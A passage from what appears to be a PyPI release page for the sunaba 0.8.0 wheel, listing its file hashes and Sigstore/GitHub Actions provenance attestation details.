0a7c6b8dea89bff84582ec8b03a1ccf4612e1e9d259a1531b90fb7db394a1f52
|
|
| MD5 |
8ecf9ccd96a5349d7d64c4734161716a
|
|
| BLAKE2b-256 |
bc3af72c63628907cd4b79b57377f7e1f6d8de4825c484b0ef017bb1a51d1015
|
Provenance
The following attestation bundles were made for sunaba-0.8.0-py3-none-any.whl:
Publisher:
publish-pypi.yml on masuda-masuo/sunaba
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
sunaba-0.8.0-py3-none-any.whl -
Subject digest:
0a7c6b8dea89bff84582ec8b03a1ccf4612e1e9d259a1531b90fb7db394a1f52 - Sigstore transparency entry: 2138159933
- Sigstore integration time:
-
Permalink:
masuda-masuo/sunaba@3b3d70350737ee706fc1b288af13963a09514574 -
Branch / Tag:
refs/heads/main - Owner: https://github.com/masuda-masuo
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish-pypi.yml@3b3d70350737ee706fc1b288af13963a09514574 -
Trigger Event:
workflow_dispatch
-
Statement type: